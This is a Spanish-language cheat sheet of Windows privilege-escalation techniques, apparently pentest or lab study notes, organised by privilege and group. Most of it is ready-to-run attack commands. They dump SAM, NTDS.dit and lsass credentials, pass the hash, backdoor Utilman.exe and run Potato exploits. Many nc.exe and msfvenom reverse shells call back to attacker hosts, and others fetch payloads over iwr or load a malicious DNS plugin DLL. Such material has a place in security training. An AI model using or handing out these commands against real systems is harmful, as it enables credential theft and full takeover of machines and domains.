Explotación de Privilegios y Grupos Especiales
Teoría: Privilegios en Windows
Los privilegios son derechos que tiene una cuenta para realizar tareas específicas del sistema. Se pueden verificar con:
whoami /priv
whoami /priv /fo listPara más detalles ver: https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants
SeBackupPrivilege y SeRestorePrivilege
¿Qué permiten?
- SeBackup: Leer cualquier archivo del sistema ignorando permisos DACL
- SeRestore: Escribir en cualquier archivo del sistema ignorando permisos DACL
¿Quién lo tiene?
- Grupo "Backup Operators" (por defecto)
- Cuentas de servicio de backup
Explotación - Copiar SAM y SYSTEM Hives
Paso 1: Verificar que tienes los privilegios
whoami /priv | findstr SeBackup
whoami /priv | findstr SeRestoreSi aparecen pero están "Disabled", necesitas habilitarlos:
Import-Module .\Enable-Privilege.ps1
Enable-Privilege -PrivilegeName SeBackupPrivilege
Enable-Privilege -PrivilegeName SeRestorePrivilegePaso 2: Respaldar las colmenas del registro
# Respaldar SAM (contiene hashes de contraseñas locales)
reg save hklm\sam C:\Users\backup\sam.hive
# Respaldar SYSTEM (contiene clave de encriptación para SAM)
reg save hklm\system C:\Users\backup\system.hive
# Respaldar SECURITY (contiene LSA secrets - contraseñas de servicios)
reg save hklm\security C:\Users\backup\security.hivePaso 3: Transferir a Kali y extraer hashes
# En Kali
scp usuario@objetivo:C:\Users\backup\sam.hive .
scp usuario@objetivo:C:\Users\backup\system.hive .
python3 -m impacket.secretsdump -sam sam.hive -system system.hive LOCAL
# Resultado: hashes NTLM
Administrator:500:aad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::
Guest:501:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Paso 4: Pass-the-Hash para acceso remoto
# Con Mimikatz (desde Windows)
./mimikatz.exe
mimikatz # sekurlsa::pth /user:Administrator /domain:. /ntlm:5f4dcc3b5aa765d61d8327deb882cf99
# Con impacket psexec (desde Kali)
python3 psexec.py -hashes aad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99 Administrator@192.168.1.100Explotación - Copiar NTDS.dit en Domain Controllers
En Domain Controllers, NTDS.dit contiene TODOS los hashes de la organización.
# Usar diskshadow para crear snapshot
diskshadow.exe
DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit
# Ver snapshot montado
dir E:
# Copiar NTDS.dit usando SeBackupPrivilege
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
# También necesitas SYSTEM hive
reg save hklm\system C:\Tools\SYSTEMExtraer en Kali:
python3 -m impacket.secretsdump -ntds ntds.dit -system SYSTEM LOCALSeRestorePrivilege - Escribir en Archivos Protegidos
Explotación: Reemplazar Binario del Sistema
# 1. Tomar posesión del archivo
takeown /f C:\Windows\System32\Utilman.exe
# 2. Dar permisos completos
icacls C:\Windows\System32\Utilman.exe /grant $env:USERNAME:F
# 3. Respaldar original
move C:\Windows\System32\Utilman.exe C:\Windows\System32\Utilman.exe.bak
# 4. Copiar cmd.exe como reemplazo
copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe
# 5. En pantalla de login: presionar Windows+U abre cmd.exe como SYSTEMSeTakeOwnershipPrivilege
¿Qué permite? Tomar posesión de cualquier archivo o clave del registro y cambiar sus permisos.
Explotación Paso a Paso
1. Verificar que tienes el privilegio
whoami /priv | findstr SeTakeOwnership
# Si está "Disabled", habilitar:
Import-Module .\Enable-Privilege.ps1
Enable-Privilege -PrivilegeName SeTakeOwnershipPrivilege2. Identificar archivo objetivo
Por ejemplo, un archivo protegido con información confidencial:
icacls C:\Department Shares\Private\IT\cred.txt
# Resultado: SYSTEM:(I)(F) ADMIN:(I)(F)
# Tu usuario no tiene acceso3. Tomar posesión
takeown /f 'C:\Department Shares\Private\IT\cred.txt'
# Resultado: SUCCESS: The file now owned by user4. Dar permisos completos
icacls 'C:\Department Shares\Private\IT\cred.txt' /grant $env:USERNAME:F5. Leer el archivo
cat 'C:\Department Shares\Private\IT\cred.txt'
# Contenido: admin:MyPassword123!SeImpersonatePrivilege y SeAssignPrimaryTokenPrivilege
¿Qué permiten? Ejecutar código en el contexto de otro usuario con privilegios más altos. Frecuentemente lleva a SYSTEM.
¿Quién lo tiene?
- LocalService, NetworkService
- IIS AppPool (iis apppool\DefaultAppPool)
- Cuentas de servicios web
- SQL Server
Enumeración de versión .NET (crucial para elegir el Potato correcto)
Antes de descargar cualquier herramienta de tipo Potato u otro binario compilado en .NET, es fundamental saber qué versiones del framework están instaladas en la máquina víctima. Subir un binario compilado para .NET 4.8 a una máquina que solo tiene .NET 3.5 resultará en un error de ejecución.
Método 1 — Listar versiones instaladas desde el registro:
# Versiones .NET Framework (1.x, 2.x, 3.x, 4.x)
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse |
Get-ItemProperty -Name Version, Release -ErrorAction SilentlyContinue |
Where-Object { $_.PSChildName -match '^(?!S)\p{L}' } |
Select-Object PSChildName, Version, Release |
Sort-Object VersionMétodo 2 — Verificar directorios de instalación:
# Cada carpeta representa una versión instalada
ls C:\Windows\Microsoft.NET\Framework\
ls C:\Windows\Microsoft.NET\Framework64\
# Resultado típico:
# v2.0.50727
# v3.5
# v4.0.30319 (incluye 4.x completo)Método 3 — cmd.exe clásico:
dir C:\Windows\Microsoft.NET\Framework\ /bMétodo 4 — Verificar .NET Core / .NET 5+ (más moderno):
# Si dotnet está en el PATH
dotnet --list-runtimes
dotnet --version
# O buscar el ejecutable directamente
where.exe dotnet
Get-Command dotnet -ErrorAction SilentlyContinueMétodo 5 — Rápido desde cmd:
reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP" /s /v Version¿Qué hacer con esta información?
| Versión encontrada | Potato/binario recomendado |
|---|---|
| .NET 2.0 / 3.5 | JuicyPotato (NET2) |
| .NET 4.x | GodPotato-NET4, SigmaPotato, PrintSpoofer |
| .NET 4.8+ | GodPotato-NET4, SigmaPotato |
| Sin .NET / solo Core | PrintSpoofer (no requiere .NET), binarios nativos |
Siempre verificar la arquitectura también:
# Ver si es 32 o 64 bits
[Environment]::Is64BitOperatingSystem
[Environment]::Is64BitProcess
# O desde cmd
wmic os get osarchitectureEjecución en segundo plano — Evitar que Ctrl+C mate el proceso
Cuando ejecutas una reverse shell o un binario de escalada desde una sesión interactiva, al presionar Ctrl+C o perder la conexión el proceso hijo también muere. La solución es desacoplar el proceso del proceso padre usando ejecución en segundo plano.
Método 1 — Start-Process (el más común y flexible):
# Ejecutar en background sin ventana nueva, desacoplado del proceso padre
Start-Process -NoNewWindow -FilePath "C:\Temp\GodPotato-NET4.exe" -ArgumentList '-cmd "C:\Temp\nc.exe 10.10.14.218 4444 -e cmd.exe"'
# El prompt regresa inmediatamente y el proceso sigue corriendo
# NoNewWindow: no abre una ventana gráfica nueva
# FilePath: ruta al ejecutable
# ArgumentList: argumentos como stringMétodo 2 — Start-Process con múltiples argumentos separados:
# Cuando los argumentos tienen espacios o comillas complejas
Start-Process -NoNewWindow -FilePath "C:\Temp\nc.exe" -ArgumentList @("10.10.14.218", "4444", "-e", "cmd.exe")Método 3 — cmd.exe con start /b (background):
REM /b ejecuta en background sin abrir nueva ventana
start /b C:\Temp\nc.exe 10.10.14.218 4444 -e cmd.exe
REM Para ejecutables con argumentos complejos
start /b "" "C:\Temp\GodPotato-NET4.exe" --revshell 10.10.14.218 4444Método 4 — Invoke-Expression en background con Job:
# Ejecutar como job de PowerShell (totalmente desacoplado)
Start-Job -ScriptBlock { & "C:\Temp\SigmaPotato.exe" "--revshell" "10.10.14.218" "4445" }
# Ver jobs en ejecución
Get-Job
# Ver output del job
Receive-Job -Id 1Método 5 — WMI para desacoplar completamente del proceso padre:
# Usar WMI para crear un proceso completamente independiente
# Útil cuando la shell es muy limitada
$wmi = [wmiclass]"\\.\root\cimv2:Win32_Process"
$wmi.Create("C:\Temp\nc.exe 10.10.14.218 4444 -e cmd.exe")Método 6 — Desde cmd limitado (shell no interactiva):
REM Si solo tienes cmd y no PowerShell
cmd /c start /b C:\Temp\nc.exe 10.10.14.218 4444 -e cmd.exeCuándo usar cada método:
| Situación | Método recomendado |
|---|---|
| Shell PowerShell normal | Start-Process -NoNewWindow |
| Argumentos complejos con comillas | Start-Process con array -ArgumentList @(...) |
| Shell cmd.exe | start /b |
| Shell muy limitada / webshell | WMI Create o cmd /c start /b |
| Quieres ver output del proceso | Start-Job + Receive-Job |
| GodPotato / SigmaPotato sin perder la shell | Start-Process -NoNewWindow |
Ejemplo real — GodPotato en background desde una shell limitada:
# Tenemos shell como iis apppool\defaultapppool y queremos
# ejecutar GodPotato sin perder la sesión actual
Start-Process -NoNewWindow -FilePath "C:\Temp\GodPotato-NET4.exe" `
-ArgumentList '-cmd "C:\Temp\nc.exe 10.10.14.218 4448 -e cmd.exe"'
# El proceso corre en background, nuestra shell sigue viva
# y recibimos la nueva conexión como SYSTEM en el puerto 4448Ejemplo real — SigmaPotato en background:
Start-Process -NoNewWindow -FilePath ".\SigmaPotato.exe" -ArgumentList "--revshell 10.10.14.218 4445"Ejemplo real — nc.exe en background:
start /b C:\Temp\nc.exe 10.10.14.218 4444 -e cmd.exeExplotación con JuicyPotato
JuicyPotato es una herramienta que explota SeImpersonate/SeAssignPrimaryToken para escalar a SYSTEM.
Paso 1: Verificar privilegios
whoami /priv | findstr /i "SeImpersonate\|SeAssignPrimaryToken"Paso 2: Descargar JuicyPotato
iwr -uri http://192.168.1.100/JuicyPotato.exe -OutFile JuicyPotato.exePaso 3: Crear payload (reverse shell)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4445 -f exe -o shell.exePaso 4: Ejecutar JuicyPotato en background
Start-Process -NoNewWindow -FilePath ".\JuicyPotato.exe" -ArgumentList '-l 9999 -p C:\shell.exe -t *'Explotación con SigmaPotato
SigmaPotato es una alternativa más moderna y confiable a JuicyPotato.
# Verificar
whoami /priv | findstr SeImpersonate
# Ejecutar en background para no perder la shell actual
Start-Process -NoNewWindow -FilePath ".\SigmaPotato.exe" -ArgumentList "--revshell 192.168.1.100 4445"Ventajas de SigmaPotato sobre JuicyPotato:
- No requiere especificar CLSID (más automático)
- Mejor compatibilidad con Windows moderno
- Salida de stderr y stdout clara
Paso 1: Descargar PrintSpoofer
iwr -uri http://192.168.1.100/PrintSpoofer.exe -OutFile PrintSpoofer.exePaso 2: Ejecutar en background
Start-Process -NoNewWindow -FilePath ".\PrintSpoofer.exe" -ArgumentList '-c "C:\shell.exe"'Explotación con RogueWinRM
RogueWinRM funciona porque cuando cualquier usuario inicia el servicio BITS, crea una conexión a puerto 5985 como SYSTEM. Podemos interceptar esa conexión.
iwr -uri http://192.168.1.100/RogueWinRM.exe -OutFile RogueWinRM.exe
# Ejecutar en background
Start-Process -NoNewWindow -FilePath ".\RogueWinRM.exe" -ArgumentList '-p "C:\shell.exe" -a ""'Explotación con psgetsystem
. .\psgetsys.ps1
ImpersonateFromParentPid -ppid 612 -command "C:\Windows\System32\cmd.exe" -cmdargs ""SeDebugPrivilege
¿Qué permite? Acceder a la memoria de cualquier proceso. Permite volcar lsass.exe que contiene todas las contraseñas en texto plano.
Explotación Paso a Paso
whoami /priv | findstr SeDebug
iwr -uri http://192.168.1.100/procdump.exe -OutFile procdump.exe
procdump.exe -accepteula -ma lsass.exe lsass.dmpscp usuario@objetivo:lsass.dmp .
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswordsMimikatz - Post-Explotación Completa
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
token::elevate
lsadump::sam
sekurlsa::tickets
sekurlsa::pth /user:Administrator /domain:. /ntlm:5f4dcc3b5aa765d61d8327deb882cf99 /run:cmd.exe
kerberos::golden /user:Administrator /domain:dominio.local /sid:S-1-5-21-... /krbtgt:krbtgt_hash /ptt
kerberos::ptt <ticket_file>
vault::cred /patchSeLoadDriverPrivilege
¿Qué permite? Cargar drivers arbitrarios en el kernel. Acceso total al sistema pero muy técnico.
Grupo: Administrators
whoami /groups | findstr Administrators
powershell -ep bypassGrupo: Backup Operators
Ver sección SeBackupPrivilege arriba.
Grupo: Remote Desktop Users
whoami /groups | findstr "Remote Desktop"
mstsc /v:192.168.1.100 /u:usuarioGrupo: Remote Management Users
whoami /groups | findstr "Remote Management"
./evil-winrm -i 192.168.1.100 -u usuario -p passwordGrupo: Event Log Readers
whoami /groups | findstr "Event Log"
Get-WinEvent -LogName Security -MaxEvents 1000 |
Where-Object {$_.Message -like "*password*" -or $_.Message -like "*credential*"} |
Select-Object TimeCreated, MessageGrupo: DnsAdmins
Explotación: Cargar DLL Maliciosa como Plugin DNS
x86_64-w64-mingw32-gcc malicious.c --shared -o malicious.dlliwr -uri http://192.168.1.100/malicious.dll -OutFile C:\temp\malicious.dll
dnscmd.exe /config /serverlevelplugindll C:\temp\malicious.dll
net stop dns
net start dnsGrupo: Server Operators
whoami /groups | findstr Server
Get-Service | Where-Object {$_.StartType -eq "Automatic"}
icacls "C:\ruta\al\binario.exe"Activar Privilegios Desactivados
whoami /priv /fo list
Import-Module .\Enable-Privilege.ps1
Enable-Privilege -PrivilegeName SeBackupPrivilege
whoami /priv | findstr SeBackup